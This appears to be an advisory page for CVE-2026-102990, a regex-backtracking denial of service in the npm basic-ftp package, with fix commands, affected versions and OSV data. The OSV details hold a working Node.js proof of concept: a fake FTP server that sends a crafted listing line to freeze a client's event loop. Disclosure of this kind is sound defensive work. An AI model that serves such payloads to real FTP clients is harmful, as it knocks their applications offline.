CVE-2026-102990: basic-ftp Denial of Service Vulnerability
HIGHCVE-2026-102990 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting basic-ftp libraries in the npm ecosystem. The issue involves quadratic-time cpu denial of service in client.list() unix directory-listing parser (re_line backtracking). Remediation is available by upgrading affected packages to version 6.2.1.
CVE-2026-102990 at a Glance
How to Fix CVE-2026-102990
To remediate this vulnerability, upgrade all affected basic-ftp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install basic-ftp@6.2.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls basic-ftp
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-102990, inspect your project dependencies using npm:
npm ls basic-ftp
Analyze the terminal output to locate any version of basic-ftp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.2.1), your application is affected.
Note: The npm ls basic-ftp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In basic-ftp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-102990 Affected basic-ftp Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
basic-ftp
|
npm |
< 6.2.1
|
6.2.1
|
References
Frequently Asked Questions
What is CVE-2026-102990?
Which basic-ftp versions are affected?
What version fixes CVE-2026-102990?
Is basic-ftp affected?
What CWE is associated with CVE-2026-102990?
How can I check npm dependencies for CVE-2026-102990?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c475-qrg2-pj4r",
"modified" : "2026-10-01T14:42:43Z",
"published" : "2026-10-01T14:42:42Z",
"aliases" : [ "CVE-2026-102990" ],
"summary" : "basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)",
"details" : "## Summary\n\n`Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp && node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c => {\n c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n c.on(\"data\", d => { buf += d; let i;\n while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s => { s.write(listing); s.end(); });\n ds.listen(0, \"127.0.0.1\", () => c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() => c.write(\"226 .\\r\\n\"), 50); }\n else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () => {\n const client = new ftp.Client(0);\n await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();\n await client.list(); clearInterval(hb);\n console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "basic-ftp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.2.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 6.2.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102990"
}, {
"type" : "WEB",
"url" : "https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patrickjuchli/basic-ftp"
}, {
"type" : "WEB",
"url" : "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-01T14:42:42Z",
"nvd_published_at" : "2026-09-30T20:17:26Z"
}
}